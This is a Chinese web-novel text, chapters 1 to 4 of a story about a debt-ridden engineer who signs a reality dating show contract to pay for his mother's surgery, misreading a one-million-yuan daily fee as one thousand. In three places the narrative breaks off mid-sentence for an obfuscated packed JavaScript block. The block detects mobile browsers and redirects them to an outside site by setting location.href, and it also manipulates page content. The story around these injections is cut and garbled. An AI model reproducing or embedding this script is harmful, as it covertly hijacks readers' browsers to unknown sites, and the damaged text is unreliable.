《误入恋综后,我靠摆烂日薪百万》 1. 天价合同与手术费 显示器蓝光映在陈末脸上时,他正对着第三家网贷平台的拒批通知发呆。 “信用评估未通过。” 六个字,加一个句号。比网吧角落里那台永远卡在登录界面的老机器还要冷漠。 座椅吱呀响了一声,右边靠背的弹簧大概三年前就宣告退休了。陈末挪了挪位置,视线从屏幕移向手机——锁屏壁纸是上周拍的照片,母亲躺在病床上睡着了,窗外透进来的阳光刚好落在她花白的鬓角旁。照片很美,如果忽略掉旁边监护仪闪烁的数字,和床头那张催缴通知单的话。 “末期扩张型心肌病。”主治医生说出这八个字时,语气平静得像在念菜单,“手术越早越好。费用的话……前期准备加上手术,二十五万左右。术后护理和药物另算。” 陈末当时点了点头,说了声“谢谢医生”。走出诊室时才意识到,自己把病历单攥得太紧,纸张边缘已经陷进了掌心肉里。 二十五万。 他工作六年,存款八万。其中五万是母亲这些年偷偷塞回来、被他硬存下来的。剩下三万,上个月已经交给了医院。 还差十七万。 网吧烟雾缭绕,隔壁座位的少年正在游戏里激情开麦。陈末关掉网贷页面,点开银行APP。余额:3271.58元。本月15号发工资,税前八千七,扣完五险一金和房租,能到手…… “末哥!” 一只手重重拍在陈末肩上,带着廉价古龙水和汗液的混合气味。 张伟,陈末的发小,此刻正咧着嘴笑,露出一颗昨天刚补的、颜色稍微白过头的大门牙。他穿着一件印着巨大潮牌logo的T恤,logo的刺绣线头正在领口处倔强地支棱着。 “找了你三个网吧!”张伟拖过旁边一把椅子,也不管椅子上有没有烟灰就坐下了,“救命的事,真救命!” 陈末把手机屏幕按灭:“如果是借钱,我现在比你还穷。” “不是借钱,是送钱!”张伟压低声音,身体前倾,“日结!现金!录完就拿!” 陈末盯着他。张伟在过去五年里“送钱”的机会包括:缅甸边境的“高薪客服”(被他以不会说缅语拒绝了)、某保健品公司的“会场秩序维护员”(实际是拦着老头老太不让走)、以及上周的“豪华游轮体验官”(需要先交五千保证金)。 “这次绝对正经!”张伟掏出手机,划拉几下,怼到陈末面前,“看!《心动的岛屿》,草莓视频S+级恋综!顶流配置!林薇知道吗?刚拿影后那个!王烁,微博粉丝六千万!还有苏小雨,女团门面……” 屏幕上是华丽的宣传海报,碧海蓝天,俊男美女的笑容经过精修,发着普通人不会有的光。 “所以呢?”陈末问,“让我去当摄像?” “当嘉宾!”张伟声音又高了一度,隔壁少年回头瞪了一眼,他才缩缩脖子,“节目组原定的一个男嘉宾,昨天骑摩托车把腿摔折了!现在急需一个素人替补,明天就开录!要求就一个:不能太帅,不能抢明星风头,最好是有点……” 他斟酌了一下用词:“有点普通,但又不至于让人看不下去的。” “谢谢。”陈末说,“你这个招聘描述很精准。” “不是,末哥,你听我说完!”张伟急了,“节目录制三十天,日薪一千!日结!录完当天晚上就拿钱!而且包吃包住,五星级海岛酒店!你想想,三十天,三万块!你妈的手术费不就……” 陈末的手指在鼠标上轻轻敲了一下。 日薪一千。三十天。三万。 距离二十五万,还差十四万。但这是头期款。如果有了这三万,医院应该能同意先安排术前准备。剩下的……再想办法。 “为什么找我?”他问。 “因为时间紧啊!明天中午就必须到位!我认识的那个选角助理是我老乡,她急疯了,让我帮忙找人,要求就刚才说的那些。”张伟掰着手指数,“年龄28到35岁,相貌端正但不出挑,最好有点正经工作——你不是互联网公司的吗?运维工程师,听着就挺靠谱!而且你单身,母胎单身,符合恋综基本要求!” 陈末沉默地看着屏幕上的海报。那些完美的笑脸在发光,离他所在的、充斥着烟味和泡面味的网吧角落,隔着至少十个宇宙的距离。 “日薪一千,为什么找不到人?”他问出了最关键的问题。 张伟的表情僵了一下,随即摆手:“哎,就是因为要求特殊嘛!要找那种……放到明星堆里不违和,但又绝对不会抢风头的。而且我跟你说,你的角色是有任务的!” 他凑得更近,声音压成气音:“节目组需要个‘对照组’,懂吗?就是那种……稍微表现差点,衬托明星们的优秀。简单说,你去了之后,别太积极,偶尔说点煞风景的话,任务完成得普通一点,让观众觉得‘啊还是明星们更厉害’就行了。很轻松的!” 陈末懂了。背景板。绿叶。工具人。 “合同呢?”他问。 “这儿!”张伟从怀里掏出一个皱巴巴的文件袋,抽出一沓纸,“我都带来了!签字就生效!你看,甲方是草莓视频,正经大平台!” 陈末接过合同。纸张很厚,印刷精美。他直接翻到报酬条款。 【甲方支付乙方劳务报酬标准为:人民币?1000000/日(含税)】 数字印得有些模糊,尤其是那一串“0”。油墨似乎在这个位置晕开了一点。陈末眯起眼,在网吧昏暗的光线下,他看到的是“1000/日”。后面的“000”和斜杠几乎黏在一起,像是个印刷瑕疵。 他快速心算:1000元/日× 30日 = 30000元。扣除个人所得税,再扣除张伟这个中介肯定会抽的佣金,到手应该有两万七左右。 合同其他条款密密麻麻,他没时间细看。只扫到几个关键词:“全程住宿由节目组提供”、“录制期间须服从节目组合理调度”、“保密协议”、“违约金……” “违约金多少?”他问。 “这个你别管,你按节目组要求做就行了!”张伟催促,“签不签?不签我找别人了,多少人等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990762|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!” 窗外传来救护车的鸣笛声,由远及近,又渐渐远去。陈末想起医院走廊里那种消毒水混合着焦虑的气味,想起母亲握着他的手说“要不咱不治了”时的表情。 他拿起笔。 签字的时候,张伟在旁边不停说话:“末哥你放心,节目我都打听过了,轻松得很!你就当去海岛度假一个月,吃好的住好的,偶尔配合演演戏,钱就到手了!多划算!” 陈末在乙方签字处写下自己的名字。笔尖划破了一点点纸张。 “对了,”张伟收起合同,突然想起什么,“节目是全程直播加录播,你……稍微注意点言行。不过也没事,你反正就是个背景板,观众不会太关注你的。” “什么时候出发?”陈末问。 “明早七点,有车去你家接。”张伟拍拍他的肩,站起身,“今晚收拾收拾行李,带点日常衣服就行——别太贵,符合你普通素人的人设。哦对了,手机节目组会暂时保管,发专门的工作机。” 他走到网吧门口,又回头,咧嘴笑了:“末哥,走运啊!这机会真是天上掉馅饼!” 玻璃门开了又关,带进来一股夏夜闷热的风。 陈末重新坐回电脑前。屏幕上的网贷页面还开着,旁边是母亲的病历扫描件。他关掉所有窗口,打开计算器。 30000。 250000。 还差220000。 但至少,有开始了。 他拿起手机,给母亲的主治医生发了条微信:“李医生,手术的前期费用,我这周内可以先交三万,请问可以开始安排术前检查了吗?” 几分钟后,回复来了:“可以。请尽快来医院办理相关手续。另外,陈先生,关于您母亲的病情,还有一些细节需要和您当面沟通。” 最后那句话让陈末的手指顿了一下。 他回复:“什么细节?” 聊天窗口上方,“对方正在输入…”的提示闪烁了很久。 最终发来的只有一行字:“明天您来医院,我们当面谈吧。” 窗外,夜色彻底沉了下来。网吧的霓虹招牌开始闪烁,红蓝光交替映在陈末脸上。他靠在那个弹簧罢工的座椅里,看着手机屏幕上华丽的海报——碧海,蓝天,笑容完美的男男女女。 日薪一千。 三十天。 他只需要扮演一个普通的、甚至有点无趣的背景板,就能拿到母亲救命的头期款。 这交易听起来划算得不像真的。 陈末关掉手机,站起身。座椅又发出一声痛苦的吱呀,仿佛在为他送行。 他走出网吧时想,这大概会是人生中最漫长的一个月——也是最重要的一个月。 而他不知道的是,那份被他塞进背包底层的合同里,那个模糊的印刷数字,在节目组的原始档案中,清晰印着的是: 【人民币?1,000,000/日】 少看三个零的代价,此刻正静静地躺在破旧背包里,等待着一个震惊所有人的未来。 2. 开往星海的保姆车 早晨六点半,陈末站在自家老小区门口时,深刻理解了“格格不入”这个词的具象含义。 一辆漆面能照出他睡眠不足脸庞的黑色保姆车,正以绝对违和感的姿态停在剥落的“幸福家园”招牌下。司机是个穿黑西装戴白手套的年轻人,看见陈末拎着个半旧行李箱出来时,表情管理出现了0.5秒的裂缝。 “陈……先生?”司机确认道,目光在陈末的格子衬衫和洗得发白的牛仔裤上扫过。 “是我。”陈末把箱子递过去。箱子是大学时买的,轮子有一个不太灵光,拖动时会发出有节奏的“咯哒”声,像在给这趟荒谬之旅打拍子。 司机接过箱子的动作略显僵硬,仿佛那箱子里装的是定时炸弹。他拉开侧滑门,车内景象让陈末眯了眯眼——真皮座椅散发着新车特有的气味,内饰是哑光金属和深咖色木材的搭配,迷你冰箱的指示灯幽幽地亮着蓝光。座位中间的小桌板上,摆着一瓶依云水和一碟……马卡龙? 五颜六色,精致得像塑料玩具。 “节目组准备的茶点。”司机解释,语气里有一丝不易察觉的优越感,“预计车程两小时,您可以休息。需要毛毯吗?” “不用,谢谢。”陈末坐进座位,感受着臀部下方真皮的柔软触感。这椅子比他出租屋里那张二手沙发舒服至少三个量级。 车门无声滑上,将清晨的市井喧闹隔绝在外。车子启动时平稳得几乎无感,只有窗外倒退的街景提示着他们在移动。 陈末掏出手机,发现信号满格——看来这车还配了顶级信号增强器。他点开银行APP,看着3271.58的余额,开始心算。 日薪一千,录制三十天。按张伟的说法,录完当晚结算。假设节目组不拖欠,三十天后他会有三万。扣除个人所得税,劳务报酬的税率是…… 他打开计算器。 30000×(1-20%)×20%=4800元。 实际到手约25200元。再扣除张伟的中介费,那家伙至少会要10%,也就是3000元。最后剩22200元。 距离二十五万手术费,还差二十二万七千八百。 陈末闭上眼,深深吸了口气。车内香薰系统释放着淡淡的雪松味,闻起来就很贵。他想起医院走廊里那种消毒水混着焦虑的气味,想起母亲躺在病床上,手背插着输液管的样子。 “陈先生?”司机的声音从前方传来,“需要调整空调温度吗?” “不用,很好。” 车上了高速,窗外的城市景观逐渐被郊区的绿意取代。陈末看着那些飞速倒退的树木,忽然意识到一件事——他连节目具体要干什么都不知道。 张伟只说了“恋综”、“当对照组”、“别太积极”,但具体流程呢?每天要做什么?会有哪些环节?万一节目组要求他做一些超出能力范围的事呢? 焦虑像细小的藤蔓,开始顺着脊椎往上爬。 他掏出张伟昨晚匆忙塞给他的一个文件夹,里面除了合同副本,只有一页A4纸的“嘉宾须知”。 【《心动的岛屿》嘉宾行为准则】 录制期间请保持专业态度,配合节目组安排。 与其他嘉宾互动时请保持礼貌与尊重。 禁止在非指定时间、地点使用个人通讯设备。 禁止向外界透露节目录制细节。 如遇身体不适或特殊情况,请及时联系现场导演。 全是废话。 陈末翻到背面,空白。没有日程表,没有环节介绍,没有其他嘉宾的资料。他就像被空投到陌生战场的士兵,连敌人在哪儿都不知道。 车子转进一条沿海公路,蔚蓝的海面在右侧铺展开来。阳光洒在水面上,碎成万千金币。陈末看着那片海,忽然想起大学时和同学去过的那个海滨小镇。海水没那么蓝,沙滩上有很多垃圾,但他们笑得很开心。 那是多久以前的事了?五年?六年? 时间像这辆车一样,平稳而无声地驶过,等你回过神来,已经离起点很远很远了。 “我们快到了。”司机说,“节目组安排您从特殊通道进入,避免被代拍和粉丝围堵。” 陈末点点头,虽然不太明白“代拍”是什么意思。他把手机调成静音,想起医生昨晚那条没说完的信息。 “关于您母亲的病情,还有一些细节需要和您当面沟通。” 是什么细节?不好的消息吗?手术风险?还是费用又增加了? 他打开微信,盯着李医生的聊天窗口,手指悬在屏幕上方几秒,最终还是没有发消息。有些事,不知道的时候还能假装一切都好。 车子转进一条私家道路,两旁是修剪整齐的棕榈树。前方出现一道黑色铁艺大门,门卫确认车牌后,大门缓缓滑开。 门后的世界让陈末下意识坐直了身体。 白色沙砾铺成的车道蜿蜒向前,两侧是精心打理的热带花园。远处,几栋现代风格的建筑依地势而建,玻璃幕墙反射着阳光和海面,像一堆随意散落的钻石。更远处,私人码头停着几艘游艇,白色的船身在蓝天下格外醒目。 “这是……录制地点?”陈末问,声音里有一丝自己都没察觉的干涩。 “是的。”司机语气平静,显然见过太多初次到来的嘉宾的这种反应,“玫瑰湾度假庄园,节目组包场一个月。主录制区是中央那栋玻璃别墅,您和其他嘉宾都住那里。” 车子在一栋建筑前停下。这栋楼比其他建筑低调些,但依然透着“我很贵”的气息。一个穿着印有节目LOGO Polo衫的年轻女孩已经等在门口,手里拿着平板电脑和对讲机。 “陈末老师!”女孩迎上来,笑容专业而热情,“欢迎欢迎!我是您的专属助理小林,录制期间有任何需要都可以找我!” 老师?陈末被这个称呼噎了一下。他一个月前还在公司因为服务器宕机被项目经理骂得狗血淋头。 “你好。”他下了车,行李箱已经被司机提下来放在身边。 小林的目光在陈末的衣着上停留了半秒,笑容不变:“我们先去临时休息室,导演需要和您做开拍前最后一次沟通。其他嘉宾下午才到,您有充足时间调整状态。” 她领着陈末走进建筑。室内冷气很足,大理石地面光可鉴人。墙上挂着抽象艺术画,角落里摆着看不出是真是假的雕塑。一切都精致、冷漠、昂贵。 休息室是个小套间,有沙发、茶几和迷你吧台。茶几上摆着水果拼盘和矿泉水,水果切得整齐得像手术标本。 “您先休息,刘导十分钟后到。”小林退出房间,轻轻带上门。 门关上的瞬间,陈末肩膀垮了下来。他走到窗前,看着外面的景色——碧蓝的游泳池,池边摆着白色躺椅和遮阳伞;更远处,海浪轻轻拍打着私人沙滩。 这一切美得像明信片,也假得像明信片。 他坐进沙发,真皮面料发出轻微的摩擦声。拿起一瓶水,发现标签是外文的,大概又是什么进口高端水。拧开喝了一口,没喝出和便利店两块钱一瓶的有什么区别。 手机震动了一下,是张伟发来的微信:“到了吗末哥?怎么样?是不是超豪华?” 陈末回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈末是吧?”男人伸出手,“我是总导演刘成。欢迎加入《心动的岛屿》。” 陈末起身握手,手心有点汗湿。 刘导打量着他,那目光像是在评估一件商品:“张伟应该跟你说了基本情况。你的角色很重要,要演出普通素人的真实感,但也不能太无聊。这个度,你能把握吗?” “我尽量。”陈末说。 “很好。”刘导笑了,那笑容里有种陈末看不懂的东西,“我相信你会给节目带来……惊喜。” 惊喜? 陈末忽然有种错觉,好像这个导演知道些什么他不知道的事。 “小林会带你去房间,下午三点,全体嘉宾第一次见面会。”刘导看了看表,“记住,从你踏出这个门开始,镜头就在记录。做你自己就好——或者说,做节目需要你就好。” 他说完就走了,留下陈末站在原地,手心里那份轻飘飘的文件夹,突然重得像块铅。 做节目需要的自己。 日薪一千的自己。 还是…… 陈末摇摇头,把这个荒唐的念头甩出脑海。他拎起行李箱,轮子再次发出“咯哒、咯哒”的声音,在这间过于安静的豪华休息室里,响得像倒计时的钟摆。 窗外,海面上掠过一只海鸟,飞向看不见的远方。 节目还没开始,但他已经感觉,有些事,可能和他想象的不太一样了。 3. “打工人”的自我介绍 下午两点五十五分,陈末站在那栋玻璃别墅的入口处时,深刻理解了“局促不安”这个成语的物理表现。 他的手掌在裤缝上蹭了蹭——刚才小林坚持要给他涂护手霜,说“镜头会拍特写”,那膏体滑腻的触感到现在还没散。脖子上挂着的无线麦克风轻得像片羽毛,但他总觉得有电流声在耳边滋滋作响,提醒他此刻的一举一动都在被记录。 “别紧张,”小林在旁边小声说,她手里拿着对讲机,耳麦里传来导演组断断续续的指令,“就是简单的初次见面,自我介绍一下,聊聊天。自然一点就好。” 自然。 陈末咀嚼着这个词。他过去三十年人生中最自然的时刻包括:凌晨三点在公司机房抢修服务器时骂出的脏话,周末穿着拖鞋去菜市场跟大妈讨价还价,以及现在——站在这个造价可能比他老家整条街都贵的玻璃房子里,等着见一群他只在屏幕上见过的人。 “他们已经到了吗?”他问。 “到了三位。”小林看了看平板,“林薇老师、王烁老师,还有苏小雨老师。楚曦老师和秦澜老师路上有点堵车,应该快到了。” 林薇。影后。陈末记得去年春节档那部电影,母亲在病床上看的时候还说“这姑娘演得真好”。王烁,微博热搜常客,他公司前台小姑娘的手机锁屏。苏小雨,女团C位,张伟的偶像,卧室墙上贴着海报的那种。 而他是陈末,运维工程师,昨天还在为服务器宕机写事故报告。 “时间到了。”小林轻声说,替他推开了那扇沉重的玻璃门。 室内比外面看起来还要宽敞。挑高至少六米,整面墙都是落地玻璃,海景毫无遮挡地铺陈开来。白色沙发呈弧形摆放,中间是低矮的玻璃茶几,上面摆着插着鲜花的水晶花瓶。空调温度打得恰到好处,空气里有淡淡的香薰味,还是雪松,但比车里那款更柔和些。 沙发上坐着三个人。 最先注意到陈末进来的是王烁。他站起身,动作流畅得像排练过——事实上可能真的排练过。白色衬衫,卡其裤,帆布鞋,打扮得随意但每一处细节都精致。笑容标准,露出八颗牙齿,阳光得可以去拍牙膏广告。 “你好!”王烁走过来伸出手,“我是王烁,欢迎欢迎!” 陈末握了握手:“陈末。” 他的手有点干,刚才蹭裤缝时把护手霜蹭掉了一些。王烁的手柔软、干燥,握力恰到好处,松开时还轻轻拍了拍陈末的手背——一种不会显得过分热情但足够亲切的肢体语言。 “终于见到真人了!”说话的是从沙发上跳起来的女孩。苏小雨,比屏幕上看起来还要娇小一些,穿着淡黄色的连衣裙,头发扎成高马尾,笑起来眼睛弯成月牙,“我是苏小雨!路上顺利吗?” “顺利。”陈末说。他注意到苏小雨说话时会不自觉地歪头,一种可爱的、也许是无意识的小动作。 然后他的目光移向沙发另一端。 林薇没有起身。她只是微微侧过脸,朝陈末点了点头。深蓝色丝绸衬衫,黑色西裤,长发松松挽在脑后,露出一截白皙的脖颈。她手里端着一杯水,指尖涂着裸色指甲油,在玻璃杯的映衬下显得格外干净。 “林薇。”她说。声音比电影里低一些,带着刚睡醒似的微哑。 “陈末。”他又报了一次名字。 空气安静了两秒。王烁适时地开口:“先坐吧?等楚曦和秦澜到了,我们再正式开始。” 陈末选了沙发最边上的位置。皮质柔软得几乎要把他吞进去,他下意识挺直了背——这个动作让他想起大学时第一次参加面试。 “陈末是做什么工作的?”王烁问,他在对面坐下,双腿交叠,姿态放松但挺拔。 “运维工程师。”陈末说,“就是……管服务器的。” “互联网公司?”苏小雨眼睛亮了亮,“那是不是要经常加班呀?” “嗯,有故障的时候。” “好辛苦。”苏小雨说,语气真诚。她拿起茶几上的水壶,“要喝水吗?节目组准备的是斐济水,据说对身体很好。” 斐济水。陈末想起张伟有一次吹牛,说喝过一瓶五十块钱的水,大概就是这种。他摇摇头:“不用,谢谢。” 又安静了。 林薇轻轻晃了晃手中的杯子,冰块碰撞发出清脆的声响。她的目光落在窗外海面上,似乎对室内对话不感兴趣。但陈末注意到,她每隔几秒就会用余光扫过这边,像在观察,又像只是无聊。 玻璃门再次滑开。 进来的是两个人。走在前面的女性身材高挑,目测超过一米七五,穿着运动背心和短裤,露出线条分明的手臂和小腿肌肉。小麦色皮肤,短发,走路带风。 “抱歉迟到了!”她的声音洪亮,带着运动人特有的元气,“高速上追尾,堵了半小时。我是楚曦,游泳的。” 她身后跟着另一位女性。深灰色西装套装,高跟鞋,拎着公文包大小的手袋。妆容精致,发型一丝不苟,看起来像是刚从商务会议赶过来。 “秦澜。”她说,声音平静,“导演。路上耽误了,不好意思。” 两人入座。楚曦很自然地坐到了陈末旁边的单人沙发上,秦澜则选了林薇旁边的位置。现在六个人到齐了。 气氛微妙地变了。 陈末能感觉到——不是通过什么玄妙的第六感,而是通过肉眼可见的细节:王烁的坐姿更挺了,苏小雨的笑容更甜了,林薇放下了水杯,身体微微前倾。连刚进来的楚曦和秦澜,都在坐下后迅速调整了状态,像演员听到“开机”的指令。 “那我们就开始吧?”王烁说,他看向房间角落——那里站着一位戴耳麦的工作人员,工作人员比了个OK的手势。 录制开始了。 “先从自我介绍开始?”王烁提议,“我年纪最小,我先来?” 没人反对。他清了清嗓子,面向镜头方向——陈末这才注意到,房间里有至少四个机位,其中一个是隐藏在天花板里的俯拍镜头。 “大家好,我是王烁,25岁,演员和歌手。”他的语气变得比刚才正式,但依然亲切,“这是我第一次参加恋爱综艺,说实话很紧张。希望能在这里遇到心动的人,也希望能和大家成为朋友。” 标准。安全。无可挑剔。 接下来是苏小雨。她双手放在膝盖上,像小学生回答问题:“我是苏小雨,24岁,是Seven Flowers的成员。平时工作很忙,很少有机会认识工作圈以外的人,所以特别期待这次旅程!”她说完还双手合十,做了个“请多关照”的动作,可爱值拉满。 楚曦的介绍和她本人一样直接:“楚曦,26岁,国家游泳队退役,现在在做体育解说。性格比较直,说话可能不太会拐弯,大家多包涵。来这是想谈场恋爱,就这么简单。” 秦澜的自我介绍最短:“秦澜,32岁,影视制片人。来学习。” 来学习。陈末在心里重复这个词。和他准备的台词有点像。 最后是林薇。她端起水杯又放下,这个动作持续了三秒,像在思考,又像只是制造镜头停留的时间。 “林薇,28岁,演员。”她说,“很久没有‘生活’了,想来试试看。” 这句话说得轻,但分量重。陈末看到王烁的眉毛微微抬了一下,秦澜则露出了若有所思的表情。影后说“很久没有生活了”,这本身就是个话题。 然后所有人的目光都落到了陈末身上。 轮到你了。那些目光说。 陈末深吸一口气。他想起张伟的叮嘱:“别太出风头。”想起合同上的“对照组”。想起日薪一千。 他开口,声音比想象中平稳: “陈末,30岁,运维工程师。” 停顿。他在等提示,或者接话,但没人说话。六双眼睛看着他。 “来学习和观察的。”他补上后半句,完成了这个在他看来已经过于冗长的自我介绍。 安静。 不是尴尬的安静,是……茫然的安静。就像你期待一场烟花秀,结果只看到一根火柴“嗤”地燃尽。 王烁第一个反应过来:“陈末是做IT的啊,那很厉害,我完全不懂这些。” “运维具体是做什么的呀?”苏小雨问,她是真的好奇。 “确保服务器不宕机。”陈末说,“宕机了就修。” “听起来压力很大。”楚曦说。 “还好。” 又是安静。 这次是秦澜打破了沉默:“‘来学习和观察’,这个说法很有意思。你打算学习什么?” 陈末顿了顿。他没准备这个问题。 “学习……”他看了看周围这些人,这些在各自领域做到顶尖的人,“学习怎么在镜头前说话。” 他说的是实话。但话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990764|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下的瞬间,他看见林薇的嘴角极轻微地动了一下——不是笑,更像是一种克制住的什么表情。 王烁笑出声,但那笑声很快被他自己控制住:“陈末很幽默啊!” 我不是幽默,陈末想,我是真的不知道该怎么在镜头前说话。 但这句话他没说出口。因为他看见房间角落里的刘导,那个总导演,正抱着手臂看着这边,脸上有种……满意的表情? 满意什么?满意他的笨拙?满意他完美扮演了“普通素人”的角色? 自我介绍环节就这样结束了。王烁自然地接过话题,开始聊起天气、海岛、接下来的安排。苏小雨不时插话,楚曦会发表直率的看法,秦澜偶尔说一两句精准的点评,林薇大部分时间听着,只在关键处给出回应。 陈末听着,偶尔点头,心里在计算时间。 从进门到现在,过去了二十八分钟。按日薪一千算,时薪大约是41.67元。这二十八分钟,他赚了19.44元。 还不错,他心想。至少比在公司开会划算——公司开会不算加班费。 “陈末觉得呢?”王烁忽然问。 陈末回过神。所有人都在看他。 “什么?” “我们刚才在说,如果让你选第一次约会的地点,你会选哪里?”苏小雨帮他重复问题,语气友善。 陈末想了想。约会。他上一次约会还是大学毕业时,和同班女生去看电影,看了什么忘了,只记得爆米花太甜。 “图书馆吧。”他说。 “图书馆?”楚曦挑眉。 “安静,有座位,可以看书。”陈末列举理由,“不用晒太阳。” 王烁笑了:“很务实的想法!” “确实。”秦澜说,她看着陈末,眼神里有种评估的意味,“图书馆是个好地方,能看出一个人的阅读品味和专注度。” 林薇终于开口,这是她自我介绍后第一次主动说话:“你看什么书?” 问题很直接。陈末回答得也很直接:“最近在看《Linux服务器运维实战》。” 苏小雨“噗”地笑出声,然后赶紧捂住嘴:“对不起对不起!我只是觉得……好专业!” “工作需要。”陈末说。 林薇点了点头,没再说话。但她拿起水杯时,陈末看见她眼里闪过一丝很淡的笑意。 这时工作人员示意时间到了。第一次集体见面录制结束,接下来是单独采访。 “陈末老师先来吧?”小林不知什么时候出现在他身边,“采访间已经准备好了。” 陈末起身。坐久了,真皮沙发在腿上留下了细微的压痕。他跟着小林往侧厅走,经过刘导身边时,刘导拍了拍他的肩。 “不错,”刘导低声说,“保持这个状态。” 陈末不知道“这个状态”具体指什么,但他点点头。 采访间是个小房间,只有一把椅子和一个摄像机。工作人员让他坐下,调整了一下麦克风。 “放松,就是随便聊聊。”摄像师说,他是个戴棒球帽的年轻男人,“第一个问题:为什么来参加节目?” 陈末看着黑洞洞的镜头。他想起了合同,想起了医院,想起了母亲。 他开口,说出那句练习过、但在此刻依然需要勇气的实话: “说实话,为钱。这是一份工作。” 说完后,他等着对方的反应——惊讶?不满?或者直接喊停? 但摄像师只是点了点头,平静地说:“下一个问题:对女嘉宾们的初印象?” 陈末愣住了。 他们不介意?不,他们好像……早就知道? 那个瞬间,一个荒诞的念头再次划过脑海:如果合同上的数字不是印刷错误呢?如果日薪真的是一百万呢?如果节目组花天价请他,就是为了听他说“为钱而来”这种大实话呢? 不可能。他立刻否定了这个想法。 绝对不可能。 但当他走出采访间,看见刘导正在和制片人低声交谈,两人同时看向他,脸上带着那种……投资看见回报的笑容时—— 陈末忽然不确定了。 窗外,海面上空飘过一片云,遮住了部分阳光。别墅里光线暗了一瞬,又很快恢复明亮。 节目才开始不到一小时。 而他已经开始怀疑,自己是不是漏算了什么非常重要的东西。 4. 脑内的收支平衡表 单独采访结束后,陈末被带到一间临时休息室。门关上的瞬间,他做的第一件事是掏出手机——节目组发的工作机,一台黑色外壳、没有任何品牌标志的智能手机,功能仅限于接打电话、内部通讯和查看节目日程。 他点开计算器。 从上午九点抵达到现在下午四点十五分,共七小时十五分钟。按日薪一千、每日工作十二小时(合同写的是“录制期间均视为工作时间”)计算,时薪约为83.33元。 七小时十五分钟就是603.75元。 还不错。他靠在沙发上,看着天花板。这间休息室比之前那间小,但依然有落地窗和海景。阳光斜射进来,在地板上切出明亮的光斑。 门外传来脚步声,是几个工作人员经过,交谈声透过门缝漏进来: “林薇老师的单人镜头补拍完了,效果绝了……” “王烁那边需要再录一段海边走的……” “陈末的采访片段导出来没?刘导说要优先剪……” 陈末坐直身体。他的采访片段?优先剪? 他想起刚才采访间里,自己说“为钱而来”时摄像师平静的反应。那不是意外,而是预料之中。节目组早就知道他会这么说?还是说……他们希望他这么说? 手机震动了一下。是内部通讯软件的消息,来自“节目组通知”: 【全体嘉宾请注意:晚餐将于18:30在别墅主餐厅进行,着装随意。晚餐后将有第一次集体活动,请合理安排休息时间。】 集体活动。陈末皱了皱眉。他不知道是什么活动,但根据张伟“别太积极”的叮嘱,他应该表现得……普通一点。不突出,但也不至于拖后腿。 问题是,什么是“普通”的标准? 在运维工程师的世界里,“普通”意味着服务器99.9%的可用性,意味着故障响应时间在SLA(服务等级协议)范围内,意味着代码没有重大bug。这些都是可量化的。 但在镜头前,在这些人中间,“普通”是什么? 门外又传来脚步声,这次停在门口。敲门声。 “请进。” 进来的是小林,她手里拿着一个平板:“陈末老师,这是明天的初步日程,您先看看。”她把平板递过来。 屏幕上是一个简洁的表格: 07:00-08:00 早餐(自助) 09:00-11:00 首次任务分组活动 12:00-13:00 午餐 14:00-17:00 自由活动/单人采访 18:30-19:30 晚餐 20:00-21:30 晚间交流环节 “任务分组活动是什么?”陈末问。 “这个暂时保密。”小林微笑,“导演组希望保持新鲜感。不过您放心,都是很轻松的活动,主要是为了让嘉宾们互相熟悉。” 陈末点点头,把平板还回去。小林离开后,他重新拿出自己的私人手机——节目组允许保留,但要求关机并存放于房间保险箱。他开机,迅速打开备忘录。 标题:《收支记录》。 他新建一个条目: 【8月3日第一天】 预计收入:1000元 实际工时:7.25h(09:00-16:15) 已赚:603.75元 剩余待赚:396.25元 备注:采访片段可能被用作素材,需观察后续剪辑是否会对收入产生影响。合同条款第7.3条:如因嘉宾个人行为导致节目组重大损失,节目组有权扣除部分或全部报酬。 他盯着“重大损失”四个字。什么是重大损失?说错话?表现太差?还是……表现太好? 陈末关掉手机,重新锁回保险箱。他走到窗边,看着外面。从这个角度能看到别墅后方的花园,有工作人员在布置灯光设备,白色的灯架在夕阳下投出长长的影子。 晚餐还有两个多小时。他决定在房间里待着——这是最安全的选择,不会出错,也不会被拍到什么不该拍的。 但五分钟后,敲门声又响了。 这次是楚曦。 她换了身衣服,运动服换成了简单的T恤和短裤,头发湿漉漉的,像是刚洗过澡。手里拿着一个运动水壶。 “在休息?”她问,没等陈末回答就走进来,很自然地坐到沙发上,“我也刚回来,去游了一圈。这里的泳池不错,25米标准池,水温刚好。” 陈末站在原地:“哦。” “你游泳吗?”楚曦拧开水壶喝了一口。 “会一点。”陈末说。大学时上过游泳课,能游完50米不淹死,仅此而已。 “那明天可以一起。”楚曦说,她放下水壶,打量了一下房间,“你这间看出去是花园啊,我那边是海景。要不要换?我无所谓。” 陈末愣了一下:“不用,谢谢。” “真不用?”楚曦挑眉,“海景房比较贵吧,在节目里。” 这句话让陈末警觉起来。她是在试探什么吗?还是随口一说? “我习惯看花园。”他说。 